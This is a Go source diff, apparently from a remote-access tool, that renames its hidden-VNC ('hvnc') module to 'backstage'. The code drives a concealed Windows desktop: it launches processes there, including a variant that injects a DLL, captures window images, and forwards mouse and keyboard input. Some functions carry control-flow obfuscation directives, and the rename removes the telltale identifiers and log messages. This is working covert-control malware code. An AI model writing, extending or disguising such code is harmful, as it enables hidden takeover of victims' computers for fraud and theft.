return result.err } -func HVNCInputKeyUp(vk uint16) error { - result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyUp, vk: vk}, 3*time.Second) +func BackstageInputKeyUp(vk uint16) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyUp, vk: vk}, 3*time.Second) if err != nil { return err } return result.err } -func HVNCInputMouseWheel(delta int32) error { - result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseWheel, delta: delta}, 3*time.Second) +func BackstageInputMouseWheel(delta int32) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskMouseWheel, delta: delta}, 3*time.Second) if err != nil { return err } return result.err } -func executeHVNCTask(task hvncTask, timeout time.Duration) (hvncTaskResult, error) { - if err := ensureHVNCThread(); err != nil { - return hvncTaskResult{}, err +func executebackstageTask(task backstageTask, timeout time.Duration) (backstageTaskResult, error) { + if err := ensurebackstageThread(); err != nil { + return backstageTaskResult{}, err } - if hvncThreadTasks == nil { - return hvncTaskResult{}, fmt.Errorf("hvnc thread not available") + if backstageThreadTasks == nil { + return backstageTaskResult{}, fmt.Errorf("backstage thread not available") } if timeout <= 0 { timeout = 3 * time.Second } - task.resp = make(chan hvncTaskResult, 1) - task.id = hvncTaskSeq.Add(1) + task.resp = make(chan backstageTaskResult, 1) + task.id = backstageTaskSeq.Add(1) task.queuedAt = time.Now() timer := time.NewTimer(timeout) defer timer.Stop() select { - case hvncThreadTasks <- task: + case backstageThreadTasks <- task: case <-timer.C: - log.Printf("hvnc input: task enqueue timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout) - return hvncTaskResult{}, fmt.Errorf("hvnc task queue timed out") + log.Printf("backstage input: task enqueue timeout id=%d kind=%s timeout=%s", task.id, backstageTaskKindName(task.kind), timeout) + return backstageTaskResult{}, fmt.Errorf("backstage task queue timed out") } select { case result := <-task.resp: return result, nil case <-timer.C: - log.Printf("hvnc input: task execution timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout) - return hvncTaskResult{}, fmt.Errorf("hvnc task execution timed out") + log.Printf("backstage input: task execution timeout id=%d kind=%s timeout=%s", task.id, backstageTaskKindName(task.kind), timeout) + return backstageTaskResult{}, fmt.Errorf("backstage task execution timed out") } } -func hvncThreadWatchdog() { +func backstageThreadWatchdog() { ticker := time.NewTicker(2 * time.Second) defer ticker.Stop() for range ticker.C { - id := hvncCurrentTaskID.Load() + id := backstageCurrentTaskID.Load() if id == 0 { continue } - startNs := hvncCurrentTaskNs.Load() + startNs := backstageCurrentTaskNs.Load() if startNs == 0 { continue } running := time.Since(time.Unix(0, startNs)) if running >= 2*time.Second { - kind := hvncTaskKindName(hvncTaskKind(hvncCurrentTaskKind.Load())) - log.Printf("hvnc watchdog: thread appears stuck id=%d kind=%s running=%s", id, kind, running.Round(time.Millisecond)) + kind := backstageTaskKindName(backstageTaskKind(backstageCurrentTaskKind.Load())) + log.Printf("backstage watchdog: thread appears stuck id=%d kind=%s running=%s", id, kind, running.Round(time.Millisecond)) } } } -func shouldTraceHVNCTask(kind hvncTaskKind) bool { +func shouldTracebackstageTask(kind backstageTaskKind) bool { switch kind { - case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer: + case backstageTaskMouseDown, backstageTaskMouseUp, backstageTaskKeyDown, backstageTaskKeyUp, backstageTaskMouseWheel, backstageTaskStartProcess, backstageTaskStartProcessInjected, backstageTaskAutoStartExplorer: return true default: return false } } -func hvncTaskKindName(kind hvncTaskKind) string { +func backstageTaskKindName(kind backstageTaskKind) string { switch kind { - case hvncTaskCapture: + case backstageTaskCapture: return "capture" - case hvncTaskStartProcess: + case backstageTaskStartProcess: return "start_process" - case hvncTaskStartProcessInjected: + case backstageTaskStartProcessInjected: return "start_process_injected" - case hvncTaskMouseMove: + case backstageTaskMouseMove: return "mouse_move" - case hvncTaskMouseDown: + case backstageTaskMouseDown: return "mouse_down" - case hvncTaskMouseUp: + case backstageTaskMouseUp: return "mouse_up" - case hvncTaskKeyDown: + case backstageTaskKeyDown: return "key_down" - case hvncTaskKeyUp: + case backstageTaskKeyUp: return "key_up" - case hvncTaskMouseWheel: + case backstageTaskMouseWheel: return "mouse_wheel" - case hvncTaskAutoStartExplorer: + case backstageTaskAutoStartExplorer: return "auto_start_explorer" default: return fmt.Sprintf("unknown(%d)", kind) } } -func hvncTaskDetails(task hvncTask) string { +func backstageTaskDetails(task backstageTask) string { switch task.kind { - case hvncTaskMouseDown, hvncTaskMouseUp: + case backstageTaskMouseDown, backstageTaskMouseUp: return fmt.Sprintf("button=%d", task.button) - case hvncTaskKeyDown, hvncTaskKeyUp: + case backstageTaskKeyDown, backstageTaskKeyUp: return fmt.Sprintf("vk=%d", task.vk) - case hvncTaskMouseWheel: + case backstageTaskMouseWheel: return fmt.Sprintf("delta=%d", task.delta) - case hvncTaskStartProcess: + case backstageTaskStartProcess: return fmt.Sprintf("cmd=%q", task.filePath) - case hvncTaskStartProcessInjected: + case backstageTaskStartProcessInjected: return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes)) default: return "" @@ -781,55 +781,55 @@ func hvncTaskDetails(task hvncTask) string { } var ( - hvncCapHDCScreen uintptr - hvncCapHDCMem uintptr - hvncCapHBMP uintptr - hvncCapBits unsafe.Pointer - hvncCapW int - hvncCapH int - hvncCapImg *image.RGBA + backstageCapHDCScreen uintptr + backstageCapHDCMem uintptr + backstageCapHBMP uintptr + backstageCapBits unsafe.Pointer + backstageCapW int + backstageCapH int + backstageCapImg *image.RGBA ) -func hvncFreeCapCache() { - if hvncCapHBMP != 0 { - deleteObject(hvncCapHBMP) - hvncCapHBMP = 0 +func backstageFreeCapCache() { + if backstageCapHBMP != 0 { + deleteObject(backstageCapHBMP) + backstageCapHBMP = 0 } - if hvncCapHDCMem != 0 { - deleteDC(hvncCapHDCMem) - hvncCapHDCMem = 0 + if backstageCapHDCMem != 0 { + deleteDC(backstageCapHDCMem) + backstageCapHDCMem = 0 } - if hvncCapHDCScreen != 0 { - releaseDC(0, hvncCapHDCScreen) - hvncCapHDCScreen = 0 + if backstageCapHDCScreen != 0 { + releaseDC(0, backstageCapHDCScreen) + backstageCapHDCScreen = 0 } - hvncCapBits = nil - hvncCapW = 0 - hvncCapH = 0 - hvncCapImg = nil + backstageCapBits = nil + backstageCapW = 0 + backstageCapH = 0 + backstageCapImg = nil } -func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) { - if hvncCapHDCScreen == 0 { - hvncCapHDCScreen = getDC(0) - if hvncCapHDCScreen == 0 { +func backstageEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) { + if backstageCapHDCScreen == 0 { + backstageCapHDCScreen = getDC(0) + if backstageCapHDCScreen == 0 { return 0, 0, nil, false } } - if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil { - buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4) - return hvncCapHDCScreen, hvncCapHDCMem, buf, true + if backstageCapHDCMem != 0 && backstageCapW == w && backstageCapH == h && backstageCapBits != nil { + buf := unsafe.Slice((*byte)(backstageCapBits), w*h*4) + return backstageCapHDCScreen, backstageCapHDCMem, buf, true } - if hvncCapHBMP != 0 { - deleteObject(hvncCapHBMP) - hvncCapHBMP = 0 + if backstageCapHBMP != 0 { + deleteObject(backstageCapHBMP) + backstageCapHBMP = 0 } - if hvncCapHDCMem != 0 { - deleteDC(hvncCapHDCMem) - hvncCapHDCMem = 0 + if backstageCapHDCMem != 0 { + deleteDC(backstageCapHDCMem) + backstageCapHDCMem = 0 } - hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen) - if hvncCapHDCMem == 0 { + backstageCapHDCMem = createCompatibleDC(backstageCapHDCScreen) + if backstageCapHDCMem == 0 { return 0, 0, nil, false } bmi := bitmapInfo{ @@ -842,18 +842,18 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) { biCompression: BI_RGB, }, } - hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits) - if hvncCapHBMP == 0 || hvncCapBits == nil { - deleteDC(hvncCapHDCMem) - hvncCapHDCMem = 0 + backstageCapHBMP = createDIBSection(backstageCapHDCMem, &bmi, DIB_RGB_COLORS, &backstageCapBits) + if backstageCapHBMP == 0 || backstageCapBits == nil { + deleteDC(backstageCapHDCMem) + backstageCapHDCMem = 0 return 0, 0, nil, false } - selectObject(hvncCapHDCMem, hvncCapHBMP) - hvncCapW = w - hvncCapH = h - hvncCapImg = nil - buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4) - return hvncCapHDCScreen, hvncCapHDCMem, buf, true + selectObject(backstageCapHDCMem, backstageCapHBMP) + backstageCapW = w + backstageCapH = h + backstageCapImg = nil + buf := unsafe.Slice((*byte)(backstageCapBits), w*h*4) + return backstageCapHDCScreen, backstageCapHDCMem, buf, true } func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) { @@ -868,20 +868,20 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) { maxDisplays = 1 } if display < 0 || display >= maxDisplays { - log.Printf("hvnc capture: requested display %d out of range (0-%d), defaulting to 0", display, maxDisplays-1) + log.Printf("backstage capture: requested display %d out of range (0-%d), defaulting to 0", display, maxDisplays-1) display = 0 } - bounds, boundsSource := hvncResolveCaptureBounds(display) + bounds, boundsSource := backstageResolveCaptureBounds(display) srcW := bounds.Dx() srcH := bounds.Dy() if srcW <= 0 || srcH <= 0 { - log.Printf("hvnc capture: invalid bounds for display=%d source=%s bounds=%v", display, boundsSource, bounds) + log.Printf("backstage capture: invalid bounds for display=%d source=%s bounds=%v", display, boundsSource, bounds) return nil, syscall.EINVAL } userScale := effectiveScale(srcW, srcH) - hvncLastScale.Store(math.Float64bits(userScale)) + backstageLastScale.Store(math.Float64bits(userScale)) dstW := int(float64(srcW) * userScale) dstH := int(float64(srcH) * userScale) if dstW <= 0 || dstH <= 0 { @@ -892,7 +892,7 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) { capW := srcW capH := srcH - hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH) + hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH) if !ok { return nil, syscall.EINVAL } @@ -901,21 +901,21 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) { buf[i] = 0 } - drawn := drawHVNCWindowsToBuffer(hdcScreen, bounds, buf, capW*4) + drawn := drawbackstageWindowsToBuffer(hdcScreen, bounds, buf, capW*4) if drawn == 0 { now := time.Now().UnixNano() - last := hvncNoWindowLogNs.Load() - if now-last > int64(5*time.Second) && hvncNoWindowLogNs.CompareAndSwap(last, now) { - log.Printf("hvnc capture: no windows drawn for display=%d source=%s bounds=%v", display, boundsSource, bounds) + last := backstageNoWindowLogNs.Load() + if now-last > int64(5*time.Second) && backstageNoWindowLogNs.CompareAndSwap(last, now) { + log.Printf("backstage capture: no windows drawn for display=%d source=%s bounds=%v", display, boundsSource, bounds) } } swapRB(buf) - img := hvncCapImg + img := backstageCapImg if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH { img = image.NewRGBA(image.Rect(0, 0, capW, capH)) - hvncCapImg = img + backstageCapImg = img } copy(img.Pix, buf) @@ -928,12 +928,12 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) { return img, nil } -func startHVNCProcessOnThread(filePath string, display int) (uint32, error) { +func startbackstageProcessOnThread(filePath string, display int) (uint32, error) { if filePath == "" { return 0, fmt.Errorf("empty file path") } - desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) + desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName) if err != nil { return 0, fmt.Errorf("failed to convert desktop name: %v", err) } @@ -975,23 +975,23 @@ func startHVNCProcessOnThread(filePath string, display int) (uint32, error) { return pi.dwProcessId, nil } -func hvncAutoStartExplorerOnThread() error { - if hvncExplorerStarted { +func backstageAutoStartExplorerOnThread() error { + if backstageExplorerStarted { return nil } if isExplorerRunningToolhelp() { - log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start") - hvncExplorerStarted = true + log.Printf("backstage: explorer.exe already running on backstage desktop, skipping auto-start") + backstageExplorerStarted = true return nil } - log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe") - _, err := startHVNCProcessOnThread("explorer.exe", 0) + log.Printf("backstage: no explorer.exe found on backstage desktop, starting explorer.exe") + _, err := startbackstageProcessOnThread("explorer.exe", 0) if err != nil { return fmt.Errorf("auto-start explorer failed: %w", err) } - hvncExplorerStarted = true + backstageExplorerStarted = true return nil } @@ -1052,18 +1052,18 @@ func isExplorerRunningToolhelp() bool { return false } -func hvncMouseMoveOnThread(display int, x, y int32) error { +func backstageMouseMoveOnThread(display int, x, y int32) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 - bounds, _ := hvncResolveCaptureBounds(display) + bounds, _ := backstageResolveCaptureBounds(display) if bounds.Dx() <= 0 || bounds.Dy() <= 0 { - hvncInputMu.Lock() - hvncLastCursor = point{x: x, y: y} - hvncHasCursor = true - hvncInputMu.Unlock() + backstageInputMu.Lock() + backstageLastCursor = point{x: x, y: y} + backstageHasCursor = true + backstageInputMu.Unlock() return nil } - if bits := hvncLastScale.Load(); bits != 0 { + if bits := backstageLastScale.Load(); bits != 0 { if s := math.Float64frombits(bits); s > 0 && s < 1 { x = int32(float64(x) / s) y = int32(float64(y) / s) @@ -1085,11 +1085,11 @@ func hvncMouseMoveOnThread(display int, x, y int32) error { absY = bounds.Max.Y - 1 } - hvncInputMu.Lock() - hvncLastCursor = point{x: int32(absX), y: int32(absY)} - hvncHasCursor = true - hvncInputMu.Unlock() - moveHVNCWindowIfDragging(point{x: int32(absX), y: int32(absY)}) + backstageInputMu.Lock() + backstageLastCursor = point{x: int32(absX), y: int32(absY)} + backstageHasCursor = true + backstageInputMu.Unlock() + movebackstageWindowIfDragging(point{x: int32(absX), y: int32(absY)}) pt := point{x: int32(absX), y: int32(absY)} hitHwnd := windowFromPoint(pt) @@ -1104,7 +1104,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error { procSetFocus.Call(hitHwnd) } - if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) { + if backstageUIAEnabled.Load() && isWinUI3Window(hitHwnd) { uiaHandleDragMove(pt) uiaHandleMouseMove(hitHwnd, pt) return nil @@ -1117,12 +1117,12 @@ func hvncMouseMoveOnThread(display int, x, y int32) error { return nil } -func hvncMouseButtonOnThread(button int, down bool) error { +func backstageMouseButtonOnThread(button int, down bool) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 - pt := currentHVNCCursor() + pt := currentbackstageCursor() if button == 0 && !down { - endHVNCWindowDrag(pt) + endbackstageWindowDrag(pt) } setMouseButton(button, down) @@ -1134,7 +1134,7 @@ func hvncMouseButtonOnThread(button int, down bool) error { // UIA branch: keep message-style clicks as the primary signal, but let // UIA resolve complicated targets such as WinUI3/Explorer elements. - if hvncUIAEnabled.Load() { + if backstageUIAEnabled.Load() { return uiaHandleMouseButton(hitHwnd, pt, button, down) } @@ -1164,12 +1164,12 @@ func hvncMouseButtonOnThread(button int, down bool) error { if down { var r rect if ok, _, _ := procGetWindowRect.Call(hitHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 { - hvncInputMu.Lock() - hvncMovingWindow = true - hvncWindowToMove = hitHwnd - hvncMoveOffset = point{x: pt.x - r.left, y: pt.y - r.top} - hvncWindowSize = point{x: r.right - r.left, y: r.bottom - r.top} - hvncInputMu.Unlock() + backstageInputMu.Lock() + backstageMovingWindow = true + backstageWindowToMove = hitHwnd + backstageMoveOffset = point{x: pt.x - r.left, y: pt.y - r.top} + backstageWindowSize = point{x: r.right - r.left, y: r.bottom - r.top} + backstageInputMu.Unlock() } } return nil @@ -1229,9 +1229,9 @@ func hvncMouseButtonOnThread(button int, down bool) error { return nil } -func hvncKeyOnThread(vk uint16, down bool) error { +func backstageKeyOnThread(vk uint16, down bool) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 - pt := currentHVNCCursor() + pt := currentbackstageCursor() hwnd := windowFromPoint(pt) if hwnd == 0 { hwnd = foregroundWindow() @@ -1256,7 +1256,7 @@ func hvncKeyOnThread(vk uint16, down bool) error { } updateModifierState(vk, down) - if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) { + if backstageUIAEnabled.Load() && isWinUI3Window(hwnd) { if isModifierVK(vk) { return nil } @@ -1344,27 +1344,27 @@ func rememberWorkingWindow(hwnd uintptr) { if hwnd == 0 { return } - hvncInputMu.Lock() - hvncWorkingWindow = hwnd - hvncInputMu.Unlock() + backstageInputMu.Lock() + backstageWorkingWindow = hwnd + backstageInputMu.Unlock() } func getWorkingWindow() uintptr { - hvncInputMu.Lock() - defer hvncInputMu.Unlock() - return hvncWorkingWindow + backstageInputMu.Lock() + defer backstageInputMu.Unlock() + return backstageWorkingWindow } -func currentHVNCCursor() point { - hvncInputMu.Lock() - if hvncHasCursor { - pt := hvncLastCursor - hvncInputMu.Unlock() +func currentbackstageCursor() point { + backstageInputMu.Lock() + if backstageHasCursor { + pt := backstageLastCursor + backstageInputMu.Unlock() return pt } - hvncInputMu.Unlock() + backstageInputMu.Unlock() var pt point - procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt))) + procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt))) return pt } @@ -1373,16 +1373,16 @@ func postMouseMessage(hwnd uintptr, msg uint32, wparam uintptr, pt point) { } func setPendingActivation(hwnd uintptr) { - hvncInputMu.Lock() - hvncPendingActivate = hwnd - hvncInputMu.Unlock() + backstageInputMu.Lock() + backstagePendingActivate = hwnd + backstageInputMu.Unlock() } func consumePendingActivation() uintptr { - hvncInputMu.Lock() - defer hvncInputMu.Unlock() - hwnd := hvncPendingActivate - hvncPendingActivate = 0 + backstageInputMu.Lock() + defer backstageInputMu.Unlock() + hwnd := backstagePendingActivate + backstagePendingActivate = 0 return hwnd } @@ -1397,8 +1397,8 @@ func postKeyMessage(hwnd uintptr, msg uint32, vk uint16) { } func setMouseButton(button int, down bool) uint32 { - hvncInputMu.Lock() - defer hvncInputMu.Unlock() + backstageInputMu.Lock() + defer backstageInputMu.Unlock() var mask uint32 switch button { case 0: @@ -1408,20 +1408,20 @@ func setMouseButton(button int, down bool) uint32 { case 2: mask = MK_RBUTTON default: - return hvncMouseButtons + return backstageMouseButtons } if down { - hvncMouseButtons |= mask + backstageMouseButtons |= mask } else { - hvncMouseButtons &^= mask + backstageMouseButtons &^= mask } - return hvncMouseButtons + return backstageMouseButtons } func currentMouseButtons() uint32 { - hvncInputMu.Lock() - defer hvncInputMu.Unlock() - return hvncMouseButtons + backstageInputMu.Lock() + defer backstageInputMu.Unlock() + return backstageMouseButtons } func mapVirtualKey(vk uint32) uintptr { @@ -1487,13 +1487,13 @@ func safeNCHitTest(hwnd uintptr, lparam uintptr) int32 { return int32(result) } -func moveHVNCWindowIfDragging(screenPt point) { - hvncInputMu.Lock() - moving := hvncMovingWindow - hwnd := hvncWindowToMove - offset := hvncMoveOffset - size := hvncWindowSize - hvncInputMu.Unlock() +func movebackstageWindowIfDragging(screenPt point) { + backstageInputMu.Lock() + moving := backstageMovingWindow + hwnd := backstageWindowToMove + offset := backstageMoveOffset + size := backstageWindowSize + backstageInputMu.Unlock() if !moving || hwnd == 0 { return } @@ -1502,15 +1502,15 @@ func moveHVNCWindowIfDragging(screenPt point) { procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) } -func endHVNCWindowDrag(screenPt point) { - hvncInputMu.Lock() - moving := hvncMovingWindow - hwnd := hvncWindowToMove - offset := hvncMoveOffset - size := hvncWindowSize - hvncMovingWindow = false - hvncWindowToMove = 0 - hvncInputMu.Unlock() +func endbackstageWindowDrag(screenPt point) { + backstageInputMu.Lock() + moving := backstageMovingWindow + hwnd := backstageWindowToMove + offset := backstageMoveOffset + size := backstageWindowSize + backstageMovingWindow = false + backstageWindowToMove = 0 + backstageInputMu.Unlock() if !moving || hwnd == 0 { return } @@ -1519,8 +1519,8 @@ func endHVNCWindowDrag(screenPt point) { procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) } -func hvncMouseWheelOnThread(delta int32) error { - pt := currentHVNCCursor() +func backstageMouseWheelOnThread(delta int32) error { + pt := currentbackstageCursor() hwnd := windowFromPoint(pt) if hwnd == 0 { hwnd = getWorkingWindow() @@ -1529,7 +1529,7 @@ func hvncMouseWheelOnThread(delta int32) error { } } - if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) { + if backstageUIAEnabled.Load() && isWinUI3Window(hwnd) { return uiaHandleMouseWheel(hwnd, pt, delta) } @@ -1570,30 +1570,30 @@ func isModifierVK(vk uint16) bool { } func updateModifierState(vk uint16, down bool) { - hvncInputMu.Lock() - defer hvncInputMu.Unlock() + backstageInputMu.Lock() + defer backstageInputMu.Unlock() switch vk { case VK_SHIFT, VK_LSHIFT, VK_RSHIFT: - hvncShiftDown = down + backstageShiftDown = down case VK_CONTROL, VK_LCONTROL, VK_RCONTROL: - hvncCtrlDown = down + backstageCtrlDown = down case VK_MENU, VK_LMENU, VK_RMENU: - hvncAltDown = down + backstageAltDown = down case VK_CAPITAL: if down { - hvncCapsLock = !hvncCapsLock + backstageCapsLock = !backstageCapsLock } } } func buildKeyboardState() []byte { state := make([]byte, 256) - hvncInputMu.Lock() - shift := hvncShiftDown - ctrl := hvncCtrlDown - alt := hvncAltDown - caps := hvncCapsLock - hvncInputMu.Unlock() + backstageInputMu.Lock() + shift := backstageShiftDown + ctrl := backstageCtrlDown + alt := backstageAltDown + caps := backstageCapsLock + backstageInputMu.Unlock() if shift { state[VK_SHIFT] = 0x80 } @@ -1609,11 +1609,11 @@ func buildKeyboardState() []byte { return state } -func HVNCMonitorCount() int { +func BackstageMonitorCount() int { return displayCount() } -func hvncResolveCaptureBounds(display int) (image.Rectangle, string) { +func backstageResolveCaptureBounds(display int) (image.Rectangle, string) { mons := monitorList() if display >= 0 && display < len(mons) { mon := mons[display] @@ -1622,7 +1622,7 @@ func hvncResolveCaptureBounds(display int) (image.Rectangle, string) { return bounds, fmt.Sprintf("monitor=%d name=%q", display, mon.name) } } - if desktopBounds, ok := hvncDesktopBounds(); ok { + if desktopBounds, ok := backstageDesktopBounds(); ok { return desktopBounds, "desktop" } vx := int(getSystemMetric(SM_XVIRTUALSCREEN)) @@ -1635,7 +1635,7 @@ func hvncResolveCaptureBounds(display int) (image.Rectangle, string) { return image.Rectangle{}, "unknown" } -func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int { +func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int { hwnd := getTopWindow(0) if hwnd == 0 { return 0 @@ -1646,8 +1646,8 @@ func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target [ } // Initialize cache if needed - if hvncWinCache == nil { - hvncWinCache = make(map[uintptr]*hvncWinCacheEntry) + if backstageWinCache == nil { + backstageWinCache = make(map[uintptr]*backstageWinCacheEntry) } // Track which windows are still alive this frame @@ -1655,7 +1655,7 @@ func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target [ drawn := 0 for hwnd != 0 { - if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) { + if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) { drawn++ } alive[hwnd] = true @@ -1663,24 +1663,24 @@ func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target [ } // Evict cache entries for windows that no longer exist - for h, entry := range hvncWinCache { + for h, entry := range backstageWinCache { if !alive[h] { - hvncFreeCacheEntry(entry) - delete(hvncWinCache, h) + backstageFreeCacheEntry(entry) + delete(backstageWinCache, h) } } return drawn } -func hvncGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *hvncWinCacheEntry { - entry, ok := hvncWinCache[hwnd] +func backstageGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *backstageWinCacheEntry { + entry, ok := backstageWinCache[hwnd] if ok && entry.w == w && entry.h == h && entry.hdcMem != 0 && entry.hbmp != 0 { entry.age = 0 return entry } if ok { - hvncFreeCacheEntry(entry) + backstageFreeCacheEntry(entry) } hdcMem := createCompatibleDC(hdcScreen) if hdcMem == 0 { @@ -1704,18 +1704,18 @@ func hvncGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *hvncWinCac } selectObject(hdcMem, hbmp) - entry = &hvncWinCacheEntry{ + entry = &backstageWinCacheEntry{ hdcMem: hdcMem, hbmp: hbmp, bits: bits, w: w, h: h, } - hvncWinCache[hwnd] = entry + backstageWinCache[hwnd] = entry return entry } -func hvncFreeCacheEntry(entry *hvncWinCacheEntry) { +func backstageFreeCacheEntry(entry *backstageWinCacheEntry) { if entry.hbmp != 0 { deleteObject(entry.hbmp) } @@ -1726,32 +1726,32 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) { var dxgiFrameBuf []byte -var hvncDXGIEnabled atomic.Bool -var hvncUIAEnabled atomic.Bool +var backstageDXGIEnabled atomic.Bool +var backstageUIAEnabled atomic.Bool func init() { - hvncDXGIEnabled.Store(false) // disabled by default - hvncUIAEnabled.Store(false) // disabled by default + backstageDXGIEnabled.Store(false) // disabled by default + backstageUIAEnabled.Store(false) // disabled by default } -func SetHVNCDXGIEnabled(enabled bool) { - hvncDXGIEnabled.Store(enabled) +func SetbackstageDXGIEnabled(enabled bool) { + backstageDXGIEnabled.Store(enabled) } -func GetHVNCDXGIEnabled() bool { - return hvncDXGIEnabled.Load() +func GetbackstageDXGIEnabled() bool { + return backstageDXGIEnabled.Load() } -func SetHVNCUIAEnabled(enabled bool) { - hvncUIAEnabled.Store(enabled) +func SetbackstageUIAEnabled(enabled bool) { + backstageUIAEnabled.Store(enabled) } -func GetHVNCUIAEnabled() bool { - return hvncUIAEnabled.Load() +func GetbackstageUIAEnabled() bool { + return backstageUIAEnabled.Load() } -func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool { - if !hvncDXGIEnabled.Load() { +func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool { + if !backstageDXGIEnabled.Load() { return false } var pid uint32 @@ -1760,13 +1760,13 @@ func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bound return false } - reader := hvncGetFrameReader(pid) + reader := backstageGetFrameReader(pid) if reader == nil { - hvncFrameReadersMu.Lock() - gpuPID := hvncGPUPIDMap[pid] - hvncFrameReadersMu.Unlock() + backstageFrameReadersMu.Lock() + gpuPID := backstageGPUPIDMap[pid] + backstageFrameReadersMu.Unlock() if gpuPID != 0 { - reader = hvncGetFrameReader(gpuPID) + reader = backstageGetFrameReader(gpuPID) } } if reader == nil { @@ -1823,7 +1823,7 @@ func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bound return true } -func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { +func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { if !isWindowVisible(hwnd) { return false } @@ -1849,12 +1849,12 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by return false } - if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn { + if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn { return true } // Use pooled DC+DIB from cache - entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH) + entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH) if entry == nil { return false } @@ -1984,7 +1984,7 @@ var ( procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW") ) -type HVNCWindowInfo struct { +type BackstageWindowInfo struct { HWND uintptr Title string X int @@ -1997,18 +1997,18 @@ type HVNCWindowInfo struct { Visible bool } -func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { - hvncDesktopMu.Lock() - deskHandle := hvncDesktopHandle - hvncDesktopMu.Unlock() +func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) { + backstageDesktopMu.Lock() + deskHandle := backstageDesktopHandle + backstageDesktopMu.Unlock() if deskHandle == 0 { return nil, nil } mons := monitorList() - monInfos := make([]HVNCMonitorInfo, len(mons)) + monInfos := make([]BackstageMonitorInfo, len(mons)) for i, m := range mons { - monInfos[i] = HVNCMonitorInfo{ + monInfos[i] = BackstageMonitorInfo{ Index: i, Name: m.name, X: m.rect.Min.X, @@ -2030,7 +2030,7 @@ func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { }) procEnumDesktopWindows.Call(deskHandle, cb, 0) - var result []HVNCWindowInfo + var result []BackstageWindowInfo for _, w := range windows { if !isWindowVisible(w.hwnd) { continue @@ -2077,7 +2077,7 @@ func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { } } - result = append(result, HVNCWindowInfo{ + result = append(result, BackstageWindowInfo{ 